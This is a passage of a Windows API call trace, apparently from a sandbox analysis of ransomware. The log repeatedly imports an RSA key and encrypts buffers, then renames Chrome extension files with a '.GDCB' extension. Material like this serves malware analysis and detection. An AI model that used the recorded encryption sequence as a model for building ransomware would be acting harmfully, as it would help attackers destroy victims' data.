CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0288.789] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0288.789] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0288.791] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0288.794] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0288.794] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0288.794] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0288.794] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0288.796] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x67a95f0) returned 1 [0288.796] CryptGetKeyParam (in: hKey=0x67a95f0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0288.796] CryptEncrypt (in: hKey=0x67a95f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd3e0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xd3e0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0288.797] GetLastError () returned 0x0 [0288.797] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0288.797] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0288.798] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x67a9630) returned 1 [0288.798] CryptGetKeyParam (in: hKey=0x67a9630, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0288.798] CryptEncrypt (in: hKey=0x67a9630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd3f0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xd3f0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0288.799] GetLastError () returned 0x0 [0288.799] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0288.799] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x528 [0288.800] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd400000 [0288.803] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd410000 [0288.805] ReadFile (in: hFile=0x528, lpBuffer=0xd410000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0xd410000*, lpNumberOfBytesRead=0x285d160*=0x41f0, lpOverlapped=0x0) returned 1 [0288.813] VirtualAlloc (lpAddress=0x0, dwSize=0x41f0, flAllocationType=0x3000, flProtect=0x4) returned 0xd520000 [0288.819] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_pt\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_pt\\messages.json.gdcb")) returned 1 [0288.843] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0288.847] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0288.849] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0288.849] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0288.849] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0288.849] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0288.852] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0288.854] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0288.854] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0288.854] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0288.855] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0288.858] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x67a96f0) returned 1 [0288.858] CryptGetKeyParam (in: hKey=0x67a96f0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0288.858] CryptEncrypt (in: hKey=0x67a96f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd3e0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xd3e0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0288.858] GetLastError () returned 0x0 [0288.858] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0288.858] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0288.861] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x67a9770) returned 1 [0288.861] CryptGetKeyParam (in: hKey=0x67a9770, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0288.861] CryptEncrypt (in: hKey=0x67a9770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd3f0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xd3f0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0288.861] GetLastError () returned 0x0 [0288.861] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0288.861] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x528 [0288.863] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd400000 [0288.866] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd410000 [0288.868] ReadFile (in: hFile=0x528, lpBuffer=0xd410000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0xd410000*, lpNumberOfBytesRead=0x285d160*=0x3f90, lpOverlapped=0x0) returned 1 [0288.876] VirtualAlloc (lpAddress=0x0, dwSize=0x3f90, flAllocationType=0x3000, flProtect=0x4) returned 0xd520000 [0288.883] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_tw\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_TW\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_tw\\messages.json.gdcb")) returned 1 [0288.887] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0288.890] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0288.892] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0288.892] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0288.892] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0288.892] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0288.895] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0288.897] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0288.897] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0288.897] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0288.897] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0288.900] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67a97b0) returned 1 [0288.900] CryptGetKeyParam (in: hKey=0x67a97b0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0288.900] CryptEncrypt (in: hKey=0x67a97b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd3e0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xd3e0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0288.900] GetLastError () returned 0x0 [0288.900] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0288.900] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0288.902] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67a96b0) returned 1 [0288.902] CryptGetKeyParam (in: hKey=0x67a96b0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0288.902] CryptEncrypt (in: hKey=0x67a96b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd3f0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xd3f0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0288.902] GetLastError () returned 0x0 [0288.902] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0288.902] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\computed_hashes.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\computed_hashes.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0288.903] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd400000 [0288.906] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd410000 [0288.908] ReadFile (in: hFile=0x458, lpBuffer=0xd410000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xd410000*, lpNumberOfBytesRead=0x285d3e8*=0x74b0, lpOverlapped=0x0) returned 1 [0288.916] VirtualAlloc (lpAddress=0x0, dwSize=0x74b0, flAllocationType=0x3000, flProtect=0x4) returned 0xd520000 [0288.922] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\computed_hashes.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\computed_hashes.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\computed_hashes.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\computed_hashes.json.gdcb")) returned 1 [0288.926] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0288.929] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0288.931] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0288.931] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0288.931] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0288.931] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0288.934] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0288.936] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0288.936] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0288.936] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0288.936] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0288.938] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67a9830) returned 1 [0288.938] CryptGetKeyParam (in: hKey=0x67a9830, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0288.938] CryptEncrypt (in: hKey=0x67a9830, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd3e0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xd3e0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0288.938] GetLastError () returned 0x0 [0288.938] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0288.938] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0288.941] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67a9c30) returned 1 [0288.941] CryptGetKeyParam (in: hKey=0x67a9c30, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0288.941] CryptEncrypt (in: hKey=0x67a9c30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd3f0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xd3f0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0288.941] GetLastError () returned 0x0 [0288.941] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0288.941] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\verified_contents.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0288.942] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd400000 [0288.945] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd410000 [0288.947] ReadFile (in: hFile=0x458, lpBuffer=0xd410000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xd410000*, lpNumberOfBytesRead=0x285d3e8*=0x3e39, lpOverlapped=0x0) returned 1 [0288.956] VirtualAlloc (lpAddress=0x0, dwSize=0x3e40, flAllocationType=0x3000, flProtect=0x4) returned 0xd520000 [0288.962] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\verified_contents.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\verified_contents.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\verified_contents.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\verified_contents.json.gdcb")) returned 1 [0289.055] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4980) returned 1 [0289.059] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0289.061] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0289.061] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285e2bc | out: pbBuffer=0x285e2bc) returned 1 [0289.061] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0289.061] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4760) returned 1 [0289.065] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0289.068] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0289.068] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e288 | out: pbBuffer=0x285e288) returned 1 [0289.068] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0289.069] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4e48) returned 1 [0289.072] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67a8d30) returned 1 [0289.072] CryptGetKeyParam (in: hKey=0x67a8d30, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0289.072] CryptEncrypt (in: hKey=0x67a8d30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd3e0000*, pdwDataLen=0x285e2d4*=0xc8, dwBufLen=0x800 | out: pbData=0xd3e0000*, pdwDataLen=0x285e2d4*=0x100) returned 1 [0289.072] GetLastError () returned 0x0 [0289.072] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0289.072] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4980) returned 1 [0289.074] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67a8a70) returned 1 [0289.074] CryptGetKeyParam (in: hKey=0x67a8a70, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0289.074] CryptEncrypt (in: hKey=0x67a8a70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd3f0000*, pdwDataLen=0x285e2d8*=0xc8, dwBufLen=0x800 | out: pbData=0xd3f0000*, pdwDataLen=0x285e2d8*=0x100) returned 1 [0289.074] GetLastError () returned 0x0 [0289.074] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0289.074] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\GameDVR\\KnownGameList.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\microsoft\\gamedvr\\knowngamelist.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0289.702] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4760) returned 1 [0289.706] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0289.709] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0289.709] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e034 | out: pbBuffer=0x285e034) returned 1 [0289.709] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0289.709] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4980) returned 1 [0289.712] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0289.715] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0289.715] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285e000 | out: pbBuffer=0x285e000) returned 1 [0289.716] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0289.716] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4980) returned 1 [0289.719] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67a8eb0) returned 1 [0289.719] CryptGetKeyParam (in: hKey=0x67a8eb0, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0289.719] CryptEncrypt (in: hKey=0x67a8eb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd400000*, pdwDataLen=0x285e04c*=0xc8, dwBufLen=0x800 | out: pbData=0xd400000*, pdwDataLen=0x285e04c*=0x100) returned 1 [0289.719] GetLastError () returned 0x0 [0289.719] CryptReleaseContext 